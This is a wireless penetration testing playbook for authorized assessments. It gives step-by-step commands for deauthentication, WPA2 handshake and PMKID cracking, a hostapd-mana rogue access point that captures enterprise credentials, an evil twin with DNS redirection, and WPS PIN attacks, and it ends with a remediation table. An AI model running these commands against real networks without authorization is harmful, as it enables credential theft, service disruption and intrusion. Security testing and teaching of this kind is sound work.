Performing Wireless Network Penetration Test
Overview
Wireless penetration testing evaluates the security of an organization's WiFi infrastructure including encryption strength, authentication mechanisms, rogue access point detection, client isolation, and network segmentation. Testing covers 802.11a/b/g/n/ac/ax protocols, WPA2-PSK, WPA2-Enterprise, WPA3-SAE, captive portals, and Bluetooth/BLE where in scope.
When to Use
- When conducting security assessments that involve performing wireless network penetration test
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Prerequisites
- Written authorization specifying wireless scope (SSIDs, BSSIDs, physical locations)
- Compatible wireless adapter supporting monitor mode and packet injection (e.g., Alfa AWUS036ACH, TP-Link TL-WN722N v1)
- Kali Linux with Aircrack-ng suite, Bettercap, Wifite, Kismet
- Physical proximity to target wireless networks
- GPS receiver for mapping (optional)
Phase 1 — Wireless Reconnaissance
Enable Monitor Mode
iwconfig
airmon-ng
airmon-ng check kill
airmon-ng start wlan0
iwconfig wlan0mon
Passive Scanning
airodump-ng wlan0mon -w wireless_scan --output-format csv,pcap
airodump-ng wlan0mon -c 6 -w channel6_scan
airodump-ng wlan0mon --band a -w 5ghz_scan
airodump-ng wlan0mon --band abg -w full_scan
kismet -c wlan0mon
Network Inventory
| SSID | BSSID | Channel | Encryption | Clients | Signal |
|---|
| CorpWiFi | AA:BB:CC:DD:EE:01 | 6 | WPA2-Enterprise | 45 | -55dBm |
| CorpGuest | AA:BB:CC:DD:EE:02 | 11 | WPA2-PSK | 12 | -60dBm |
| PrinterNet | AA:BB:CC:DD:EE:03 | 1 | WEP | 3 | -70dBm |
| HiddenSSID | AA:BB:CC:DD:EE:04 | 36 | WPA2-PSK | 8 | -65dBm |
Phase 2 — WPA2-PSK Attack
Capture 4-Way Handshake
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:02 -w corpguest wlan0mon
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:02 -c FF:FF:FF:FF:FF:FF wlan0mon
aircrack-ng corpguest-01.cap
Crack WPA2 Key
aircrack-ng -w /usr/share/wordlists/rockyou.txt corpguest-01.cap
hcxpcapngtool -o hash.hc22000 corpguest-01.cap
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule
hcxdumptool -i wlan0mon --enable_status=1 -o pmkid_dump.pcapng \
--filterlist_ap=AA:BB:CC:DD:EE:02 --filtermode=2
hcxpcapngtool -o pmkid_hash.hc22000 pmkid_dump.pcapng
hashcat -m 22000 pmkid_hash.hc22000 /usr/share/wordlists/rockyou.txt
Phase 3 — WPA2-Enterprise Attack
cat > hostapd-mana.conf << 'EOF'
interface=wlan0mon
ssid=CorpWiFi
hw_mode=g
channel=6
auth_algs=3
wpa=2
wpa_key_mgmt=WPA-EAP
wpa_pairwise=CCMP TKIP
rsn_pairwise=CCMP
ieee8021x=1
eap_server=1
eap_user_file=hostapd.eap_user
mana_wpe=1
mana_credout=creds.txt
EOF
cat > hostapd.eap_user << 'EOF'
* PEAP,TTLS,TLS,FAST
"t" TTLS-PAP,TTLS-CHAP,TTLS-MSCHAPV2,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAP "t" [2]
EOF
hostapd-mana hostapd-mana.conf
hashcat -m 5500 creds.txt /usr/share/wordlists/rockyou.txt
Phase 4 — Evil Twin Attack
sudo bettercap -iface wlan0mon
wifi.recon on
wifi.ap
cat > evil_twin.conf << 'EOF'
interface=wlan1
ssid=CorpGuest
hw_mode=g
channel=6
driver=nl80211
auth_algs=1
wpa=0
EOF
hostapd evil_twin.conf &
dnsmasq --no-daemon --interface=wlan1 --dhcp-range=192.168.1.10,192.168.1.100,12h \
--address=/#/192.168.1.1
aireplay-ng -0 0 -a AA:BB:CC:DD:EE:02 wlan0mon
Phase 5 — Additional Tests
Rogue AP Detection
Client Isolation Testing
nmap -sn 192.168.10.0/24
nmap -sT -p 80,443,445,3389 10.0.0.0/24
WPS Attack
wash -i wlan0mon
reaver -i wlan0mon -b AA:BB:CC:DD:EE:03 -vv
reaver -i wlan0mon -b AA:BB:CC:DD:EE:03 -K 1 -vv
Findings Template
| Finding | Severity | CVSS | Remediation |
|---|
| WPA2-PSK with weak passphrase | High | 8.1 | Use 20+ char passphrase or migrate to WPA2-Enterprise |
| WEP encryption on printer network | Critical | 9.1 | Upgrade to WPA2/WPA3, segment printer VLAN |
| WPS enabled on guest AP | Medium | 5.3 | Disable WPS on all access points |
| No client isolation on guest | High | 7.5 | Enable AP isolation and VLAN segmentation |
| Corporate SSID broadcasts on rogue AP | High | 8.1 | Deploy WIDS/WIPS, implement 802.1X with cert validation |
| EAP-MSCHAP without cert pinning | High | 7.5 | Enforce server certificate validation on all clients |
References